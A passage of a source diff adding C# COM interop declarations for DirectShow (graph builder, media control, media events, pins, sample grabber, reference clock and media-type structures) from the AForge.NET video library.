int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reconnect( [In] IPin pin );
/// <summary>
/// Disconnects a specified pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( [In] IPin pin );
/// <summary>
/// Sets the reference clock to the default clock.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetDefaultSyncSource( );
// --- IGraphBuilder methods
/// <summary>
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Connect( [In] IPin pinOut, [In] IPin pinIn );
/// <summary>
/// Adds a chain of filters to a specified output pin to render it.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Render( [In] IPin pinOut );
/// <summary>
/// Builds a filter graph that renders the specified file.
/// </summary>
///
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
/// <param name="playList">Reserved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
[In, MarshalAs( UnmanagedType.LPWStr )] string playList);
/// <summary>
/// Adds a source filter to the filter graph for a specific file.
/// </summary>
///
/// <param name="fileName">Specifies the name of the file to load.</param>
/// <param name="filterName">Specifies a name for the source filter.</param>
/// <param name="filter">Variable that receives the interface of the source filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilter(
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
[Out] out IBaseFilter filter );
/// <summary>
/// Sets the file for logging actions taken when attempting to perform an operation.
/// </summary>
///
/// <param name="hFile">Handle to the log file.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetLogFile( IntPtr hFile );
/// <summary>
/// Requests that the graph builder return as soon as possible from its current task.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Abort( );
/// <summary>
/// Queries whether the current operation should continue.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ShouldOperationContinue( );
}
}
@@ -0,0 +1,118 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface provides methods for controlling the flow of data through the filter graph.
/// It includes methods for running, pausing, and stopping the graph.
/// </summary>
///
[ComImport,
Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsDual )]
internal interface IMediaControl
{
/// <summary>
/// Runs all the filters in the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Run( );
/// <summary>
/// Pauses all filters in the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Pause( );
/// <summary>
/// Stops all the filters in the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Stop( );
/// <summary>
/// Retrieves the state of the filter graph.
/// </summary>
///
/// <param name="timeout">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>
/// <param name="filterState">Ìariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetState( int timeout, out int filterState );
/// <summary>
/// Builds a filter graph that renders the specified file.
/// </summary>
///
/// <param name="fileName">Name of the file to render</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderFile( string fileName );
/// <summary>
/// Adds a source filter to the filter graph, for a specified file.
/// </summary>
///
/// <param name="fileName">Name of the file containing the source video.</param>
/// <param name="filterInfo">Receives interface of filter information object.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo );
/// <summary>
/// Retrieves a collection of the filters in the filter graph.
/// </summary>
///
/// <param name="collection">Receives the <b>IAMCollection</b> interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_FilterCollection(
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
/// <summary>
/// Retrieves a collection of all the filters listed in the registry.
/// </summary>
///
/// <param name="collection">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_RegFilterCollection(
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
/// <summary>
/// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int StopWhenReady( );
}
}
@@ -0,0 +1,126 @@
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2011
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface inherits contains methods for retrieving event notifications and for overriding the
/// filter graph's default handling of events.
/// </summary>
[ComVisible( true ), ComImport,
Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ),
InterfaceType( ComInterfaceType.InterfaceIsDual )]
internal interface IMediaEventEx
{
/// <summary>
/// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
/// </summary>
/// <param name="hEvent">Pointer to a variable that receives the event handle.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetEventHandle( out IntPtr hEvent );
/// <summary>
/// Retrieves the next event notification from the event queue.
/// </summary>
///
/// <param name="lEventCode">Variable that receives the event code.</param>
/// <param name="lParam1">Pointer to a variable that receives the first event parameter.</param>
/// <param name="lParam2">Pointer to a variable that receives the second event parameter.</param>
/// <param name="msTimeout">Time-out interval, in milliseconds.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout );
/// <summary>
/// Waits for the filter graph to render all available data.
/// </summary>
///
/// <param name="msTimeout">Time-out interval, in milliseconds. Pass zero to return immediately.</param>
/// <param name="pEvCode">Pointer to a variable that receives an event code.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int WaitForCompletion( int msTimeout, [Out] out int pEvCode );
/// <summary>
/// Cancels the Filter Graph Manager's default handling for a specified event.
/// </summary>
///
/// <param name="lEvCode">Event code for which to cancel default handling.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CancelDefaultHandling( int lEvCode );
/// <summary>
/// Restores the Filter Graph Manager's default handling for a specified event.
/// </summary>
/// <param name="lEvCode">Event code for which to restore default handling.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RestoreDefaultHandling( int lEvCode );
/// <summary>
/// Frees resources associated with the parameters of an event.
/// </summary>
/// <param name="lEvCode">Event code.</param>
/// <param name="lParam1">First event parameter.</param>
/// <param name="lParam2">Second event parameter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 );
/// <summary>
/// Registers a window to process event notifications.
/// </summary>
///
/// <param name="hwnd">Handle to the window, or <see cref="IntPtr.Zero"/> to stop receiving event messages.</param>
/// <param name="lMsg">Window message to be passed as the notification.</param>
/// <param name="lInstanceData">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData );
/// <summary>
/// Enables or disables event notifications.
/// </summary>
///
/// <param name="lNoNotifyFlags">Value indicating whether to enable or disable event notifications.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetNotifyFlags( int lNoNotifyFlags );
/// <summary>
/// Determines whether event notifications are enabled.
/// </summary>
///
/// <param name="lplNoNotifyFlags">Variable that receives current notification status.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetNotifyFlags( out int lplNoNotifyFlags );
}
}
@@ -0,0 +1,191 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface is exposed by all input and output pins of DirectShow filters.
/// </summary>
///
[ComImport,
Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IPin
{
/// <summary>
/// Connects the pin to another pin.
/// </summary>
///
/// <param name="receivePin">Other pin to connect to.</param>
/// <param name="mediaType">Type to use for the connections (optional).</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Makes a connection to this pin and is called by a connecting pin.
/// </summary>
///
/// <param name="receivePin">Connecting pin.</param>
/// <param name="mediaType">Media type of the samples to be streamed.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the current pin connection.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( );
/// <summary>
/// Returns a pointer to the connecting pin.
/// </summary>
///
/// <param name="pin">Receives <b>IPin</b> interface of connected pin (if any).</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectedTo( [Out] out IPin pin );
/// <summary>
/// Returns the media type of this pin's connection.
/// </summary>
///
/// <param name="mediaType">Pointer to an <see cref="AMMediaType"/> structure. If the pin is connected,
/// the media type is returned. Otherwise, the structure is initialized to a default state in which
/// all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and
/// <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Retrieves information about this pin (for example, the name, owning filter, and direction).
/// </summary>
///
/// <param name="pinInfo"><see cref="PinInfo"/> structure that receives the pin information.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryPinInfo( [Out] out PinInfo pinInfo );
/// <summary>
/// Retrieves the direction for this pin.
/// </summary>
///
/// <param name="pinDirection">Receives direction of the pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryDirection( out PinDirection pinDirection );
/// <summary>
/// Retrieves an identifier for the pin.
/// </summary>
///
/// <param name="id">Pin identifier.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id );
/// <summary>
/// Queries whether a given media type is acceptable by the pin.
/// </summary>
///
/// <param name="mediaType"><see cref="AMMediaType"/> structure that specifies the media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Provides an enumerator for this pin's preferred media types.
/// </summary>
///
/// <param name="enumerator">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumMediaTypes( IntPtr enumerator );
/// <summary>
/// Provides an array of the pins to which this pin internally connects.
/// </summary>
///
/// <param name="apPin">Address of an array of <b>IPin</b> pointers.</param>
/// <param name="nPin">On input, specifies the size of the array. When the method returns,
/// the value is set to the number of pointers returned in the array.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin );
/// <summary>
/// Notifies the pin that no additional data is expected.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EndOfStream( );
/// <summary>
/// Begins a flush operation.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int BeginFlush( );
/// <summary>
/// Ends a flush operation.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EndFlush( );
/// <summary>
/// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
/// </summary>
///
/// <param name="start">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>
/// <param name="stop">End time of the segment, relative to the original source, in 100-nanosecond units.</param>
/// <param name="rate">Rate at which this segment should be processed, as a percentage of the original rate.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int NewSegment(
long start,
long stop,
double rate );
}
}
@@ -0,0 +1,53 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The <b>IPropertyBag</b> interface provides an object with a property bag in
/// which the object can persistently save its properties.
/// </summary>
///
[ComImport,
Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IPropertyBag
{
/// <summary>
/// Read a property from property bag.
/// </summary>
///
/// <param name="propertyName">Property name to read.</param>
/// <param name="pVar">Property value.</param>
/// <param name="pErrorLog">Caller's error log.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Read(
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
[In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar,
[In] IntPtr pErrorLog );
/// <summary>
/// Write property to property bag.
/// </summary>
///
/// <param name="propertyName">Property name to read.</param>
/// <param name="pVar">Property value.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Write(
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
[In, MarshalAs( UnmanagedType.Struct )] ref object pVar );
}
}
@@ -0,0 +1,87 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © Andrew Kirillov, 2010
// [email protected]
//
// Written by Jeremy Noring
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The IReferenceClock interface provides the reference time for the filter graph.
///
/// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
/// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
/// retrieve the current reference time, or to request notification of an elapsed time.
/// </summary>
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IReferenceClock
{
/// <summary>
/// The GetTime method retrieves the current reference time.
/// </summary>
///
/// <param name="pTime">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetTime( [Out] out long pTime );
/// <summary>
/// The AdviseTime method creates a one-shot advise request.
/// </summary>
///
/// <param name="baseTime">Base reference time, in 100-nanosecond units. See Remarks.</param>
/// <param name="streamTime">Stream offset time, in 100-nanosecond units. See Remarks.</param>
/// <param name="hEvent">Handle to an event, created by the caller.</param>
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AdviseTime(
[In] long baseTime,
[In] long streamTime,
[In] IntPtr hEvent,
[Out] out int pdwAdviseCookie );
/// <summary>
/// The AdvisePeriodic method creates a periodic advise request.
/// </summary>
///
/// <param name="startTime">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>
/// <param name="periodTime">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>
/// <param name="hSemaphore">Handle to a semaphore, created by the caller.</param>
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AdvisePeriodic(
[In] long startTime,
[In] long periodTime,
[In] IntPtr hSemaphore,
[Out] out int pdwAdviseCookie );
/// <summary>
/// The Unadvise method removes a pending advise request.
/// </summary>
///
/// <param name="dwAdviseCookie">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Unadvise( [In] int dwAdviseCookie );
}
}
@@ -0,0 +1,103 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
/// individual media samples as they move through the filter graph.
/// </summary>
///
[ComImport,
Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface ISampleGrabber
{
/// <summary>
/// Specifies whether the filter should stop the graph after receiving one sample.
/// </summary>
///
/// <param name="oneShot">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot );
/// <summary>
/// Specifies the media type for the connection on the Sample Grabber's input pin.
/// </summary>
///
/// <param name="mediaType">Specifies the required media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Retrieves the media type for the connection on the Sample Grabber's input pin.
/// </summary>
///
/// <param name="mediaType"><see cref="AMMediaType"/> structure, which receives media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Specifies whether to copy sample data into a buffer as it goes through the filter.
/// </summary>
///
/// <param name="bufferThem">Boolean value specifying whether to buffer sample data.
/// If <b>true</b>, the filter copies sample data into an internal buffer.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem );
/// <summary>
/// Retrieves a copy of the sample that the filter received most recently.
/// </summary>
///
/// <param name="bufferSize">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>
/// <param name="buffer">Pointer to a buffer to receive a copy of the sample, or NULL.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCurrentBuffer( ref int bufferSize, IntPtr buffer );
/// <summary>
/// Not currently implemented.
/// </summary>
///
/// <param name="sample"></param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCurrentSample( IntPtr sample );
/// <summary>
/// Specifies a callback method to call on incoming samples.
/// </summary>
///
/// <param name="callback"><see cref="ISampleGrabberCB"/> interface containing the callback method, or NULL to cancel the callback.</param>
/// <param name="whichMethodToCallback">Index specifying the callback method.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback );
}
}
@@ -0,0 +1,47 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface provides callback methods for the <see cref="ISampleGrabber.SetCallback"/> method.
/// </summary>
///
[ComImport,
Guid("0579154A-2B53-4994-B0D0-E773148EFF85"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface ISampleGrabberCB
{
/// <summary>
/// Callback method that receives a pointer to the media sample.
/// </summary>
///
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
/// <param name="sample">Pointer to the sample's <b>IMediaSample</b> interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SampleCB( double sampleTime, IntPtr sample );
/// <summary>
/// Callback method that receives a pointer to the sample bufferþ
/// </summary>
///
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
/// <param name="buffer">Pointer to a buffer that contains the sample data.</param>
/// <param name="bufferLen">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int BufferCB( double sampleTime, IntPtr buffer, int bufferLen );
}
}
@@ -0,0 +1,36 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface indicates that an object supports property pages.
/// </summary>
///
[ComImport,
Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface ISpecifyPropertyPages
{
/// <summary>
/// Fills a counted array of GUID values where each GUID specifies the
/// CLSID of each property page that can be displayed in the property
/// sheet for this object.
/// </summary>
///
/// <param name="pPages">Pointer to a CAUUID structure that must be initialized
/// and filled before returning.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetPages( out CAUUID pPages );
}
}
@@ -0,0 +1,518 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Drawing;
// PIN_DIRECTION
/// <summary>
/// This enumeration indicates a pin's direction.
/// </summary>
///
[ComVisible( false )]
internal enum PinDirection
{
/// <summary>
/// Input pin.
/// </summary>
Input,
/// <summary>
/// Output pin.
/// </summary>
Output
}
// AM_MEDIA_TYPE
/// <summary>
/// The structure describes the format of a media sample.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal class AMMediaType : IDisposable
{
/// <summary>
/// Globally unique identifier (GUID) that specifies the major type of the media sample.
/// </summary>
public Guid MajorType;
/// <summary>
/// GUID that specifies the subtype of the media sample.
/// </summary>
public Guid SubType;
/// <summary>
/// If <b>true</b>, samples are of a fixed size.
/// </summary>
[MarshalAs( UnmanagedType.Bool )]
public bool FixedSizeSamples = true;
/// <summary>
/// If <b>true</b>, samples are compressed using temporal (interframe) compression.
/// </summary>
[MarshalAs( UnmanagedType.Bool )]
public bool TemporalCompression;
/// <summary>
/// Size of the sample in bytes. For compressed data, the value can be zero.
/// </summary>
public int SampleSize = 1;
/// <summary>
/// GUID that specifies the structure used for the format block.
/// </summary>
public Guid FormatType;
/// <summary>
/// Not used.
/// </summary>
public IntPtr unkPtr;
/// <summary>
/// Size of the format block, in bytes.
/// </summary>
public int FormatSize;
/// <summary>
/// Pointer to the format block.
/// </summary>
public IntPtr FormatPtr;
/// <summary>
/// Destroys the instance of the <see cref="AMMediaType"/> class.
/// </summary>
///
~AMMediaType( )
{
Dispose( false );
}
/// <summary>
/// Dispose the object.
/// </summary>
///
public void Dispose( )
{
Dispose( true );
// remove me from the Finalization queue
GC.SuppressFinalize( this );
}
/// <summary>
/// Dispose the object
/// </summary>
///
/// <param name="disposing">Indicates if disposing was initiated manually.</param>
///
protected virtual void Dispose( bool disposing )
{
if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) )
{
Marshal.FreeCoTaskMem( FormatPtr );
FormatSize = 0;
}
if ( unkPtr != IntPtr.Zero )
{
Marshal.Release( unkPtr );
unkPtr = IntPtr.Zero;
}
}
}
// PIN_INFO
/// <summary>
/// The structure contains information about a pin.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
internal struct PinInfo
{
/// <summary>
/// Owning filter.
/// </summary>
public IBaseFilter Filter;
/// <summary>
/// Direction of the pin.
/// </summary>
public PinDirection Direction;
/// <summary>
/// Name of the pin.
/// </summary>
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
public string Name;
}
// FILTER_INFO
[ComVisible( false ),
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
internal struct FilterInfo
{
/// <summary>
/// Filter's name.
/// </summary>
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
public string Name;
/// <summary>
/// Owning graph.
/// </summary>
public IFilterGraph FilterGraph;
}
// VIDEOINFOHEADER
/// <summary>
/// The structure describes the bitmap and color information for a video image.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct VideoInfoHeader
{
/// <summary>
/// <see cref="RECT"/> structure that specifies the source video window.
/// </summary>
public RECT SrcRect;
/// <summary>
/// <see cref="RECT"/> structure that specifies the destination video window.
/// </summary>
public RECT TargetRect;
/// <summary>
/// Approximate data rate of the video stream, in bits per second.
/// </summary>
public int BitRate;
/// <summary>
/// Data error rate, in bit errors per second.
/// </summary>
public int BitErrorRate;
/// <summary>
/// The desired average display time of the video frames, in 100-nanosecond units.
/// </summary>
public long AverageTimePerFrame;
/// <summary>
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
/// </summary>
public BitmapInfoHeader BmiHeader;
}
// VIDEOINFOHEADER2
/// <summary>
/// The structure describes the bitmap and color information for a video image (v2).
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct VideoInfoHeader2
{
/// <summary>
/// <see cref="RECT"/> structure that specifies the source video window.
/// </summary>
public RECT SrcRect;
/// <summary>
/// <see cref="RECT"/> structure that specifies the destination video window.
/// </summary>
public RECT TargetRect;
/// <summary>
/// Approximate data rate of the video stream, in bits per second.
/// </summary>
public int BitRate;
/// <summary>
/// Data error rate, in bit errors per second.
/// </summary>
public int BitErrorRate;
/// <summary>
/// The desired average display time of the video frames, in 100-nanosecond units.
/// </summary>
public long AverageTimePerFrame;
/// <summary>
/// Flags that specify how the video is interlaced.
/// </summary>
public int InterlaceFlags;
/// <summary>
/// Flag set to indicate that the duplication of the stream should be restricted.
/// </summary>
public int CopyProtectFlags;
/// <summary>
/// The X dimension of picture aspect ratio.
/// </summary>
public int PictAspectRatioX;
/// <summary>
/// The Y dimension of picture aspect ratio.
/// </summary>
public int PictAspectRatioY;
/// <summary>
/// Reserved for future use.
/// </summary>
public int Reserved1;
/// <summary>
/// Reserved for future use.
/// </summary>
public int Reserved2;
/// <summary>
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
/// </summary>
public BitmapInfoHeader BmiHeader;
}
/// <summary>
/// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential, Pack = 2 )]
internal struct BitmapInfoHeader
{
/// <summary>
/// Specifies the number of bytes required by the structure.
/// </summary>
public int Size;
/// <summary>
/// Specifies the width of the bitmap.
/// </summary>
public int Width;
/// <summary>
/// Specifies the height of the bitmap, in pixels.
/// </summary>
public int Height;
/// <summary>
/// Specifies the number of planes for the target device. This value must be set to 1.
/// </summary>
public short Planes;
/// <summary>
/// Specifies the number of bits per pixel.
/// </summary>
public short BitCount;
/// <summary>
/// If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.
/// </summary>
public int Compression;
/// <summary>
/// Specifies the size, in bytes, of the image.
/// </summary>
public int ImageSize;
/// <summary>
/// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
/// </summary>
public int XPelsPerMeter;
/// <summary>
/// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
/// </summary>
public int YPelsPerMeter;
/// <summary>
/// Specifies the number of color indices in the color table that are actually used by the bitmap.
/// </summary>
public int ColorsUsed;
/// <summary>
/// Specifies the number of color indices that are considered important for displaying the bitmap.
/// </summary>
public int ColorsImportant;
}
// RECT
/// <summary>
/// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct RECT
{
/// <summary>
